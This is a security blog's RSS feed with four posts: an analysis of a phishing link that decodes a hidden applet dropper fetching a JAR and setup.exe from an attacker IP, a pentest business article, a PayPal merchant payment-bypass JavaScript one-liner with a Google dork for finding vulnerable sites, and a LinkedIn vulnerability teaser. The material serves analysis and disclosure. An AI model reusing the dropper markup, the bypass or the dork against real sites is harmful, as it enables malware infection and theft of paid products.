<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WTF.uzz</title>
	<atom:link href="http://www.wtfuzz.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wtfuzz.com</link>
	<description>Order in Chaos &#124; A personal weblog of Rishi Narang</description>
	<lastBuildDate>Fri, 20 Apr 2012 16:34:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Journey of a Phishing Link</title>
		<link>http://www.wtfuzz.com/blogs/journey-of-a-phishing-link/</link>
		<comments>http://www.wtfuzz.com/blogs/journey-of-a-phishing-link/#comments</comments>
		<pubDate>Wed, 18 Apr 2012 13:21:22 +0000</pubDate>
		<dc:creator>Rishi Narang</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[link]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.wtfuzz.com/?p=372</guid>
		<description><![CDATA[We come across so many links via social networking websites, and we unknowingly click many of these. The malicious links have catastrophic results and the system as well as yours privacy is either compromised or your data takes the hit. Here is one such analysis of a link dated 17.April.2012 that I came across via [...]]]></description>
			<content:encoded><![CDATA[<p>We come across so many links via social networking websites, and we unknowingly click many of these. The malicious links have catastrophic results and the system as well as yours privacy is either compromised or your data takes the hit. Here is one such analysis of a link dated 17.April.2012 that I came across via Twitter and LinkedIn.</p>
<p><i>NOTE: All links have been appended with ‘non-clickable’ suffix “hxxp://” to prevent mistaken clicks.</i></p>
<p><i></i></p>
<p>Someone posted this link (hxxp://pastebin.com/dRGHt7hy) on a tweet. On checking, it was a list of URLs (actually single URL pasted multiple times &#8211; a sign of desperation),</p>
<ol>
<li>hxxp://tinyurl.com/saw87hujnworeg </li>
<li>hxxp://tinyurl.com/saw87hujnworeg </li>
<li>hxxp://tinyurl.com/saw87hujnworeg </li>
<li>hxxp://tinyurl.com/saw87hujnworeg      <br />9954 credit card numbers </li>
</ol>
<p>It states this link has 9954 credit card numbers. The first malicious hint is &#8211; Why not posting it directly rather than pasting the same link 4 times in an entry. </p>
<p><span id="more-372"></span>
<p>Next, this is too much of a luring target; so walk safe. So I opened the link in Malzilla (hxxp://malzilla.sourceforge.net/) a malware hunting tool. I disabled the auto-redirect. The link &quot;hxxp://tinyurl.com/saw87hujnworeg&quot; redirected to &quot;hxxp://212.95.43.243/jdb/inf.php?id=0b740ebcc2abbc5512c4875a0f74965b&quot; which opened as text fields with scripts. The file contained only a &#8216;doubtful&#8217; script with some headings and titles. </p>
<p>Here is the only important script contained within the page. Let’s do the analysis.</p>
<p>This script if too complex to understand due to large variable names, so lets first change the variable names to shorter versions for better understanding. Here is the modified script with short variable names without changing the logic and working of it.</p>
<p>Now, it is easy to understand the logic and working of the script. First, let us decode the <b>setTimeout</b> and <b>document.write</b> fields. They look like Base64 Encoded so, let&#8217;s try to decode them. The encoded strings are,</p>
<ol>
<li><font size="2" face="Courier New">QWRvYmUgRmxhc2ggbXVzdCBiZSB1cGRhdGVkIHRvIHZpZXcgdGhpcywgcGxlYXNlIGluc3RhbGwgdGhlIGxhdGVzdCB2ZXJzaW9uIQ==</font> </li>
<li><font size="2" face="Courier New">aHR0cDovLzIxMi45NS40My4yNDMvamRiL2xpYi9hZG9iZS5waHA/aWQ9MGI3NDBlYmNjMmFiYmM1NTEyYzQ4NzVhMGY3NDk2NWI=</font> </li>
<li><font size="2" face="Courier New">DQoJCTxhcHBsZXQgd2lkdGg9IjBweCIgaGVpZ2h0PSIwcHgiIGNvZGU9IlNpdGVMb2FkZXIuY2xhc3MiIGFyY2hpdmU9Imh0dHA6Ly8yM        <br /></font><font size="2" face="Courier New">TIuOTUuNDMuMjQzL2pkYi9saWIvamF2YS9saXZlcy8wYjc0MGViY2MyYWJiYzU1MTJjNDg3NWEwZjc0OTY1Yi5qYXIiPg0KCQk8cGFyYW        <br />0gbmFtZT0id2NaUE4iIHZhbHVlPSJodHRwOi8vMjEyLjk1LjQzLjI0My9qZGIvbGliL2xvYWQucGhwP2lkPTBiNzQwZWJjYzJhYmJjNTU         <br />xMmM0ODc1YTBmNzQ5NjViIj4NCgkJPHBhcmFtIG5hbWU9InY4VE9YIiB2YWx1ZT0ic2V0dXAuZXhlIj4NCgkJPHBhcmFtIG5hbWU9Ikxl         <br />Z3ltIiB2YWx1ZT0id3d3LmRvZ3NjYXN0LmNvbSI+DQoJCTxwYXJhbSBuYW1lPSJNcEJERyIgdmFsdWU9IkFQUERBVEEiPg0KCQk8L2Fwc         <br />GxldD4=</font> </li>
</ol>
<p><em>Decoded strings are,</em></p>
<p>Adobe Flash must be updated to view this, please install the latest version! </p>
<ol>
<li><font size="2" face="Courier New">hxxp://212.95.43.243/jdb/lib/adobe.php?id=0b740ebcc2abbc5512c4875a0f74965b</font> </li>
<li><font size="2" face="Courier New">&lt;applet width=&quot;0px&quot; height=&quot;0px&quot; code=&quot;SiteLoader.class&quot;</font> </li>
<li><font size="2" face="Courier New">archive=&quot;hxxp://212.95.43.243/jdb/lib/java/lives/0b740ebcc2abbc5512c4875a0f74965b.jar&quot;&gt;        <br /></font><font size="2" face="Courier New">&lt;param name=&quot;wcZPN&quot; value=&quot;hxxp://212.95.43.243/jdb/lib/load.php?id=0b740ebcc2abbc5512c4875a0f74965b&quot;&gt;        <br /></font><font size="2" face="Courier New">&lt;param name=&quot;v8TOX&quot; value=&quot;setup.exe&quot;&gt;        <br /></font><font size="2" face="Courier New">&lt;param name=&quot;Legym&quot; value=&quot;www.dogscast.com&quot;&gt;        <br /></font><font size="2" face="Courier New">&lt;param name=&quot;MpBDG&quot; value=&quot;APPDATA&quot;&gt;        <br /></font><font size="2" face="Courier New">&lt;/applet&gt;</font> </li>
</ol>
<p>The first decoded string has been set to entice the victim to click installing the &#8216;latest version&#8217; of flash via their malicious link. So, we can see it will again issue a GET request to the following links,</p>
<ol>
<li>hxxp://212.95.43.243/jdb/lib/adobe.php?id=0b740ebcc2abbc5512c4875a0f74965b </li>
<li>hxxp://212.95.43.243/jdb/lib/java/lives/0b740ebcc2abbc5512c4875a0f74965b.jar </li>
<li>hxxp://212.95.43.243/jdb/lib/load.php?id=0b740ebcc2abbc5512c4875a0f74965b </li>
</ol>
<p>And parameters are,</p>
<ol>
<li>name=&quot;wcZPN&quot; value=&quot;hxxp://212.95.43.243/jdb/lib/load.php?id=0b740ebcc2abbc5512c4875a0f74965b&quot; </li>
<li>name=&quot;v8TOX&quot; value=&quot;setup.exe&quot; </li>
<li>name=&quot;Legym&quot; value=&quot;www.dogscast.com&quot; </li>
<li>name=&quot;MpBDG&quot; value=&quot;APPDATA&quot; </li>
</ol>
<p><em>Let us know access these URLs. </em></p>
<ol>
<li>
<div align="left">First I accessed the adobe.php URL (hxxp://212.95.43.243/jdb/lib/adobe.php?id=0b740ebcc2abbc5512c4875a0f74965b) via Malzilla and it downloaded a file &quot;Adobe-Flash_WIN.exe&quot; on my system. The size of this file is approx 1.16 Mb. This file when scanned via <b>VirusTotal</b> had the catch rate of 2/42 anti-malware products. Now, this is scary. I didn&#8217;t get a chance to do the run time analysis of this file, but yes will post it in the next blog. </div>
</li>
<li>On accessing the second URL (hxxp://212.95.43.243/jdb/lib/java/lives/0b740ebcc2abbc5512c4875a0f74965b.jar) it downloads a JAR file &quot;0b740ebcc2abbc5512c4875a0f74965b.jar&quot;. This file when extracted results in the &quot;META-INF&quot; directory and &quot;SiteLoader.class&quot; file. The contents of META-INF includes,
<ol>
<li>JUBUHUSE.DSA </li>
<li>JUBUHUSE.SF </li>
<li>MANIFEST.MF </li>
</ol>
</li>
<li>Now let’s analyze the third URL load.php (hxxp://212.95.43.243/jdb/lib/load.php?id=0b740ebcc2abbc5512c4875a0f74965b) via Malzilla. When accessed, this link downloads a &quot;setup.exe&quot; file on the host. This file is the same as the previous file as per the SHA56 hash &quot;cb3869fa81086e4f91a61663ccac100f5099ccf4564a971f955f1a61d37aecf5&quot;. </li>
</ol>
<p>This is a brief analysis of a phishing link, which started via twitter as a PASTEBIN link, and made its way to reach your system through various files.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wtfuzz.com/blogs/journey-of-a-phishing-link/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PenTest &#8211; What to look for?</title>
		<link>http://www.wtfuzz.com/blogs/pentest-what-to-look-for/</link>
		<comments>http://www.wtfuzz.com/blogs/pentest-what-to-look-for/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 18:59:17 +0000</pubDate>
		<dc:creator>Rishi Narang</dc:creator>
				<category><![CDATA[PenTest]]></category>
		<category><![CDATA[assessment]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[magazine]]></category>
		<category><![CDATA[market]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[questions]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.wtfuzz.com/?p=326</guid>
		<description><![CDATA[Published Source (PenTest Magazine, June 2011): http://pentestmag.com/june-issue-what-should-you-look-for/ Vulnerabilities are increasing by leaps and bounds and any industry – technical or non-technical has to grow its security in sync or else, it is highly vulnerable and lucrative target. There is news of data loss, breaches every now and then. A rough estimate of the growth of [...]]]></description>
			<content:encoded><![CDATA[<p>Published Source (PenTest Magazine, June 2011): <a href="http://pentestmag.com/june-issue-what-should-you-look-for/">http://pentestmag.com/june-issue-what-should-you-look-for/</a></p>
<p>Vulnerabilities are increasing by leaps and bounds and any industry – technical or non-technical has to grow its security in sync or else, it is highly vulnerable and lucrative target. There is news of data loss, breaches every now and then. A rough estimate of the growth of vulnerabilities (as reported) over last decade (1995-2008) is shown in <b>Figure 1</b>. This accounts to vulnerabilities as reported, wherein there are hundreds of active (non-reported or un-patched) vulnerabilities floating underground which are in the hands of money driven and black hat profit driven attackers.</p>
<p><img style="background-image: none; border-right-width: 0px; margin: 0px 0px 9px 9px; padding-left: 0px; padding-right: 0px; display: inline; float: right; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="" border="0" alt="" align="right" src="http://www.wtfuzz.com/wp-content/uploads/2012/02/image3.png" width="369" height="189" /></p>
<p>This exponential growth in vulnerabilities and ease in exploitation with automated kits demands the security to be on the tows. Every time the topic of information security is discussed, it has to be related to three of its key pillars – Protection, Detection and Response (<b>Figure 2</b>). These pillars, if strengthened well, can lower the chances of any known vulnerabilities be exploited in your network. To keep the security on its toes and its top notch maintenance, a client has to consider a penetration testing engagement to verify the security controls and validate response timings. So, what is Penetration testing all about?</p>
<p><img style="background-image: none; border-right-width: 0px; margin: 0px 9px 4px 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="" border="0" alt="" align="left" src="http://www.wtfuzz.com/wp-content/uploads/2012/02/image4.png" width="227" height="222" /></p>
<p>Penetration Testing (or PT) is a widely used term with a broad meaning. It is generally referred to as a method to evaluate the security posture of a network, system or a device by simulating an attack or hacker’s activity. Though it is very much conjugated with Vulnerability Management (or VM) but there is a difference in their application and implication. While VM is commonly a part of any PT or risk assessment, but on a general note PT has more to do with active exploitation of the resources in scope, where in VM has to deal with the identification and quantification of vulnerabilities but not their exploitation. Overall a PenTest provides assessment support on all these pillars – verifies the security controls to check if they can be bypassed, and verifies the log, monitoring and alerting systems.</p>
<p>We are living in an era where cyber war and cyber-attacks are no more fictional plays. Even cyber espionages are also a part of controversial theories and discussions. We have hundreds of portals with security feeds, malware news and recent vulnerabilities available online. But are all these news, podcasts and blogs important for your business? You have deployed a number of software and devices in your network and you specifically need a risk assessment report that<span id="more-326"></span>can cater to your requirements and technology setup instead of all the white papers shouting of exploitable applications which are not even installed inside your enterprise perimeter. An enterprise PT report usually has three main sections as shown in <b>Figure 3</b>, customized to the enterprise business model.</p>
<p><img style="background-image: none; border-right-width: 0px; margin: 0px 0px 9px 8px; padding-left: 0px; padding-right: 0px; display: inline; float: right; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="" border="0" alt="" align="right" src="http://www.wtfuzz.com/wp-content/uploads/2012/02/image7.png" width="362" height="142" /></p>
<p>Each of these sections can be further categorized into sub topics as per application/network setups, security controls, technicalities/processes and compliance terms &amp; conditions etc. On a short note the <b>background</b> <b>information</b> refers to the type of business the client is involved into. The main reason for this is to prioritize the severity ratings and provide remediation methods that can suite his IT and business models. Similarly the <b>discovery</b> phase of the report includes the network architecture, application/host details or physical/virtual address space information and this helps in determining the scope of the Penetration Testing that is to be carry forward. According to the findings of this discovery phase, the vulnerability identification/exploitation and remediation procedures will be attempted.</p>
<p>Following the planning phase, it’s the time to find something and assess it. To document the observations, <b>vulnerability identification</b> is considered to assess the in-scope resources and quantify possible bugs, gaps and vulnerabilities in the applications, software and/or devices. After confirming these findings and observations with various manual methods, tools and automated systems, the phase of <b>vulnerability exploitation</b> or infiltration comes into picture. This phase not only exploits the vulnerabilities but also confirms the impact of exploitation in accordance with the client’s business role and model. The key importance is that <i>the exploitation of vulnerability may not be equally critical to two different business units with different priorities and offerings.</i></p>
<p>Finally the recommendation phase which includes the <b>mitigation</b> steps to render the vulnerability non-exploitable or even to patch the applications as per the availability of new versions, hotfix and other information. A step further under the recommendation, it can also include <b>implementation</b> of new services, devices or software to prevent the attacks on the client’s network and business enterprise.</p>
<p>With all these phases briefed, the common thing about them is – None of these approaches is a standard one, which means, with every client it differs; with every business model, the execution of these phases take a twist, and with every virtual/physical location of the client, there are changes and customizations needed. These are just the headings but the content highly depends on the client. And this makes it a business need, and offering worthy of an investment and understanding.</p>
<p>To facilitate a penetration testing, there are various automated vulnerability management solutions available in the market. Vulnerability Management (VM) solutions play in important part in automating the vulnerability assessment phase and documenting reports and graphs for the enterprise. These VM solutions have evolved and are pretty much single clicked operated these days. A brief layout of their market growth is projected in <b>Figure 4</b>. You feed the pre-requisites, and it will generate the final report with all the assessments done! It just is different for the sake that the vulnerability exploitation often will not be a part of it, and the security of the findings in the report will be based on the generic nature of vulnerability rather than on your business model.</p>
<p><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="" border="0" alt="" align="left" src="http://www.wtfuzz.com/wp-content/uploads/2012/02/image6.png" width="522" height="276" /></p>
<p>The key dependency of a client’s response and approach depends on the understanding of the PT engagement in reference to his business and enterprise network. As per my experience, the clients (mostly businesses) usually have two modes of operations specific to investments in information security services,</p>
<ol>
<li>Market Driven </li>
<li>Privacy Driven </li>
</ol>
<p>Though there are always grey areas with a bird’s view, but on a granular level there are different key driving factors for a client to be concerned about its investments of funds – the flow towards development or towards its security. Some client may give a higher importance to its consumer base and their information, and some to their final products and services. There is a thin line, but surely it exists!</p>
<p><b><u>Market Driven Operations</u></b> </p>
<p>The market driven approach is mainly regulated with the thought of being a step ahead of competitors, always focused to have all the high level certificates which can entitle their enterprise a top notch place in reference to available compliances, policies and standards. The key reason of such an approach is to acquire a market position and trust of its customers with valid proofs in ink.</p>
<p>To approach this client, the key criteria is – <b>How this ‘pen-testing service’ will give it an edge over others?</b> All the discussions revolve around it, and the presentation slides have the key motto of showing that this PT service is worth of providing them the boost (an advantage or a necessity). Irrespective of the client’s stand in the market, he is ready to opt and invest in sources which can give its customers a better trust and confidence in its product and services. And more importantly he can publicize it too!</p>
<p>In the discussions there are various questions, a client wish to confer about. The questions can range from the proficiencies of the PT team to the incoming challenges, pressure from the market, and security community etc.</p>
<p><b><u>Privacy Driven Operations</u></b> </p>
<p>This is a section of clients which are actually concerned about the security, the network traffic and uptime/downtime of services. These clients invest in security, as they do not wish an attacker to compromise their servers/networks and are very much aware of the key worms, malware and attacks through news, and sometimes even via underground networks. These clients have people appointed to understand ‘technical terms’, findings and people who can cross question a pen-testing team.</p>
<p>To approach this client, the key criteria is – <b>How is this ‘pen-testing service’ different from others?</b> Even when the client is highly literate of its security, and has deployed security guidelines to its different business and development teams, what makes it important for it to invest in a third party penetration testing service. The presentation slides revolve around the technical superiorities of the team, and needs a detailed information intelligence to gather before ringing the bell.</p>
<p>During the kickoff meetings or even the proposal presentation, the pen-testing team occasionally receive ‘curious’ questions from the customer. Most of them point to a fundamental question – <b>How to be sure that your team (PT team) falls in the league of ‘good’ guys?</b> Even though it’s obvious to any information security firm, but can raise an eyebrow if the firm has a one liner approach towards information security in their corporate policy but has no knowledge of it. Even when you are technically sound, you have to prove that the pen-testing will not create any mess at the customer end, and more importantly, how this engagement report in all proportions, will be beneficial for the client. There are legal contracts to be signed and all the important paper work performed, but convincing a ‘non-technical’ client about the benefits of PT is the most challenging part.</p>
<p>These days, vulnerability management solutions also face restraints from the industry. Some of such restraints are listed in <b>Figure 5</b>.</p>
<p><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: right; border-top: 0px; border-right: 0px; padding-top: 0px" title="" border="0" alt="" align="right" src="http://www.wtfuzz.com/wp-content/uploads/2012/02/image9.png" width="569" height="266" /></p>
<p>I will share one such experience with a client. This client is in health care business but for confidentiality reasons, and scope of this article lets’ not dive into its location and name. Our team scheduled an appointment with the MD of this firm and proposed the need and requirement of a full-fledged PT engagement. Now the foremost step before you walk-in to any customer is to have thorough background knowledge including nature of business, locations, data criticality, online foot print etc. We were not dealing with the compliance checks or audits and were a technical team to propose &amp; perform a PT engagement. To strengthen our proposal, we had already gathered enough information about the cracks in their security observing their flow of work and via different sources. The firm’s MD and some other members with professed ‘security knowledge’ had a raised eyebrow as soon as we presented our synopsis of the complete plan before digging into the in-depth discussions. </p>
<p>The four (4) key questions were, </p>
<p><b>Q1.</b> Why do we need a PenTest when we never have been breached in the past and have a good track record in security?</p>
<p><b>A1.</b> The reason that you have not been breached in the past doesn’t quantify and insure security for the future. There can be other possibilities such as,</p>
<ul>
<li>You have been breached but are still unaware of it as the attacker just copied the information, without altering any document.      <br /><i>A PT assignment may help you find traces of such a breach.</i></li>
<li>You have not been breached because the attackers couldn’t find any golden egg in your basket or are unaware of your worthy existence. With your expansion, and bright business prospects you can be the next target.      <br /><i>A PT report will document such holes before anyone else does!</i></li>
<li>It may not be an external breach, but internal employee can be trading information with external entities. How will you regulate and verify privilege escalations?     <br /><i>A PT report will document gaps in security policies and configurations to the management.</i></li>
</ul>
<p><b>Q2.</b> We have a secured facility with all kinds of physical and virtual controls, then why do we need this kind of assessment?</p>
<p><b>A2.</b> Physical and virtual controls are appreciable but how often there are checks that people are following it. Users and employees adhere to these checks and have not devised a way around to bypass them. To deploy and to maintain are two different realms of security, and individuals if not checked and educated/trained on time usually tend to look for short-cuts.</p>
<ul>
<li>How do you maintain the ID cards, and to ensure that no duplicate card be issued without proper documentation and deactivation of previous record.     <br /><i>PT report will also include if there are any duplicate logs or possible intrusions using the same electronic key</i></li>
<li>How do you maintain the permission levels for different individuals in the firm where a certain group is restricted to certain facility?     <br /><i>PT report will contain the permission levels and possible breaches if there is a firm policy. And we can also provide guidance in documenting such policy.</i></li>
</ul>
<p><b>Q3.</b> The customers have access to their records with a password protected online portal, so no one else can get hold of their information.</p>
<p><b>A3. </b>Password security is much more complex than it is perceived by the firms and there are many such aspects which need to be considered in accordance with passwords,</p>
<ul>
<li>How to maintain the complexity of passwords? Does the online portal enforce keeping strong alphanumeric passwords of a minimum permissible length? If they are not met, any weak password is as simple as an open door to break.     <br /><i>PT assignment will assess the security of such controls and permissible passwords and complexities.</i></li>
<li>How to make sure the session tokens and/or cookies are random and generated and/or expired in due course of time. If not managed and randomized properly, passwords are of no use as anyone can validate anyone’s session.     <br /><i>A PT report will document all such findings and possible brute-force attacks and randomization of such values</i></li>
<li>Even if all the password regulations are met, complexities and randomization of cookies and session is dealt with, there are literally hundreds of checks and vulnerabilities in an ill-coded or obsolete application that can let an attacker breach and steal your resources     <br /><i>A PT report will present all such findings, application’s vulnerability and will also provide the ways to mitigate them</i></li>
</ul>
<p><b>Q4.</b> We have an anti-malware solution, firewalls etc. deployed and no-one has the right to tinker with it except a third party security vendor. We are very safe!</p>
<p><b>A4.</b> Anti-malware solution Firewalls, IDS/IPS are as good as a soldier with shields and ammunitions but everything depends on how he is trained to protect.</p>
<ul>
<li>How to configure the firewall to best suite your business needs, and network traffic requirements     <br /><i>PT report helps in analyzing the configuration of the servers, devices (firewall/IDS/IPS or UTM), and clients to the best of hardened security.</i></li>
<li>How to make sure that the configurations performed by the administrator are in best results to your business     <br /><i>PT report helps find the gaps against popular guidelines, CIS benchmarks or firm’s global policies</i></li>
</ul>
<p>I am sure that these are the kind of questions asked by individuals who are oblivious to security incidents and real world case studies. They hide their resources and confide on the security under the shadows of the past. With due respect, we explained the answers to all such queries focusing on the needs of security assessments.</p>
<p>But some customers have a very different set of reasons ‘against’ penetration testing,</p>
<p><b>R1.</b> We already know where everything is broken.</p>
<p><b>R2.</b> If you tell us what&#8217;s wrong, we&#8217;ll have to fix it.</p>
<p><b>R3.</b> We don&#8217;t have anything that hackers want.</p>
<p><b>R4.</b> We&#8217;re too small to matter.</p>
<p><b>R5.</b> We haven&#8217;t fixed the things you found broken last time.</p>
<p><b>R6.</b> Our employees don&#8217;t know how to do bad things.</p>
<p>While these reasons seem to be challenging enough to refute by any pen-tester, they are certainly not! Any security team can negate these reasons with proper homework and case studies. </p>
<p><b>[R1]</b> Knowing that you (customer) are broken doesn’t help you in the knowledge on how to mend the cracks. There are two approaches,</p>
<ul>
<li>Band-Aid Approach which means temporary mending of a crack in security</li>
<li>Hardened Approach which reflects strong solution to fix the gap</li>
</ul>
<p>A pen-test report can help you with the recommendations and mitigations steps on the gaps that you already are aware about. </p>
<p><b>[R2]</b> On the other hand, if you are afraid that you will have to fix it, then it’s anytime better than an attack in future that might go beyond your fixing abilities.</p>
<p><b>[R3]</b> What hackers’ want, is only at their discretion. He instead of attacking you for some confidential data may only be using your computational power to perform DOS attacks or installing bots on your corporate network etc. You never know a real hacker’s intention, until unless you experience it on your recourses. </p>
<p><b>[R4]</b> Even a chain of house hold computers if compromised can be leveraged to bring big enterprises on their feet in the era of cyber war. Nothing is too small to matter in this world when you have computational power, access to internet, and revenue generating model. </p>
<p><b>[R5]</b> That’s a bad approach to security! If you haven’t fixed the previous gaps identified, you might already have been victims to attacks or at worst inducing fresh vulnerabilities. The attack surface increases exponentially over a period of time, for the reason of public disclosures and exploits readily available of old/obsolete vulnerabilities. What initially required a skilled hacker to perform, if not fixed, can be exploited by a script kiddie.</p>
<p><b>[R6]</b> Human is the weakest link in the security and irrespective of all the security guidelines and procedures you train the employees on, they are no match for an individual’s curiosity.</p>
<p>Clients often have a question revolving around the PenTest report categorization. There are clients that leave the format of the report to the vendor performing PenTest or sometimes the clients supply their own template. PenTest is often regarded for providing a bulky report that clients tend to avoid paying attention to. This report can be further tweaked in different sections and sub-titles to project effective spotlight to critical items and vulnerabilities. Some of the sections that can come handy to a client are the management overview or summary where a PenTest report can have graphs, pie charts to show the observations. Then in the body section, a client should essentially see the severity ratings either on the basis of vulnerability exploitation (remote/local or ease), or exposure to its resources in reference to the findings in the network. This categorization and display of the results aids the client to understand the priority in fixing the vulnerabilities and the gaps.</p>
<p>All in all, a PenTest engagement is very much beneficial for the client or an enterprise, if carried out and offered with good presentations, graphs and charts. A client should consider fixing these vulnerabilities before an attacker exploits it. Moreover, these PT reports aid the client in the assessment of their network and security.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wtfuzz.com/blogs/pentest-what-to-look-for/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Critical Vulnerability in PayPal</title>
		<link>http://www.wtfuzz.com/blogs/critical-vulnerability-in-paypal/</link>
		<comments>http://www.wtfuzz.com/blogs/critical-vulnerability-in-paypal/#comments</comments>
		<pubDate>Sat, 02 Jul 2011 05:31:51 +0000</pubDate>
		<dc:creator>Rishi Narang</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[paypal]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.wtfuzz.com/blogs/critical-vulnerability-in-paypal/</guid>
		<description><![CDATA[One of our readers, Farhan has discovered* that some of websites having PayPal portal for payment are vulnerable and can be exploited using simple JavaScript. The JavaScript bypasses the payment page and redirects the user to download page for products like software or eBooks. He has already informed the PayPal about this issue and they [...]]]></description>
			<content:encoded><![CDATA[<p>One of our readers, <strong>Farhan</strong> has discovered<a title="citation below!" href="javascript: void(0)">*</a> that some of websites having PayPal portal for payment are vulnerable and can be exploited using simple JavaScript. The JavaScript bypasses the payment page and redirects the user to download page for products like software or eBooks. He has already informed the PayPal about this issue and they have replied him for submitting the vulnerability. The reply is like this,</p>
<blockquote><p>Farhan,</p>
<p>Thank you for the notification regarding the vulnerable button implementations on merchant sites.&#160; At this time, we are actively investigating the noted issues within our customers implementations.&#160; All issues will be handled professionally and quickly.&#160; Again we appreciate you bringing this to our attention.</p>
<p>Thank you,</p>
<p>PayPal Site Security </p>
<p>(<a href="mailto:sitesecurity@paypal.com">sitesecurity@paypal.com</a>)</p>
</blockquote>
<p>JavaScript is so simple. It just redirect the user by fetching the download page from website’s source code. The download link is in hidden input tag and the name attribute is &quot;return&quot;.</p>
<blockquote><p>javascript:top.location=document.getElementsByName(‘return’)[0].value;javascript:void(0);</p>
</blockquote>
<p>Moreover the JavaScript is floating around various <a href="http://www.google.com/search?q=paypal+bypass+javascript&amp;oq=paypal%20+bypass+javascript" target="_blank">blogs and forums</a>. Apart from them a lot of video tutorials are uploaded on <a href="http://www.youtube.com/results?search_query=bypass+paypal" target="_blank">YouTube</a>. The infected websites can easily be searched by this Google dork,</p>
<blockquote><p>&quot;this order button requires a javascript enabled browser&quot;</p>
</blockquote>
<p>Google lists a whopping 1,390,000 results. So this number of sites are at risk &amp; easy to be exploited. The internet is flooding with this vulnerability &amp; it’s exploit, but the biggest question is that the PayPal, which is considered the most secure payment service doesn&#8217;t get attention till now about this theft.</p>
<p>This vulnerability and post has been submitted by <a href="http://facebook.com/farhan.ghumra" target="_blank">Farhan Ghumra</a> , a computer engineer student from Rajkot, India.</p>
<p><u>Disclaimer</u></p>
<p><em>This blog-post is provided to you as-is basis. The opinions expressed in this post <u>are not those</u> of website/blog owner, Rishi Narang or any other author except the one explicitly mentioned in this blog-post. While this weblog makes every effort to ensure that the contents within are accurate and complete, this weblog makes no representation or warranty, whether express or implied, as to the operation, integrity, availability or functionality of this weblog or as to the accuracy, completeness or reliability of any information on this weblog. Any person who accesses this weblog or relies on the information contained in this weblog does so at their own risk. All data and information provided on this weblog is for informational purposes only.</em></p>
<p><strong>[*]</strong> This bypass technique is already in the wild, and people have written blogs and have shared videos on it. It may not be the first discovery here, but as per the author Farhan, he shares &amp; quotes this discovery as his own research, a little late in time though!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wtfuzz.com/blogs/critical-vulnerability-in-paypal/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>LinkedIn SSL Cookie Vulnerability</title>
		<link>http://www.wtfuzz.com/blogs/linkedin-ssl-cookie-vulnerability/</link>
		<comments>http://www.wtfuzz.com/blogs/linkedin-ssl-cookie-vulnerability/#comments</comments>
		<pubDate>Sat, 21 May 2011 11:12:06 +0000</pubDate>
		<dc:creator>Rishi Narang</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[GST]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[leo_auth_token]]></category>
		<category><![CDATA[LIM]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[narang]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[POC]]></category>
		<category><![CDATA[professional]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[rishi]]></category>
		<category><![CDATA[rishi.narang]]></category>
		<category><![CDATA[rishinarang]]></category>
		<category><![CDATA[rnarang]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.wtfuzz.com/blogs/linkedin-ssl-cookie/</guid>
		<description><![CDATA[Rishi Narang, a security researcher and consultant, has discovered multiple vulnerabilities in LinkedIn (www.linkedin.com) which can enable an attacker to modify an account "without password". Read information of this session management nightmare at www.wtfuzz.com or contact him at twitter (@rnarang) for further details.]]></description>
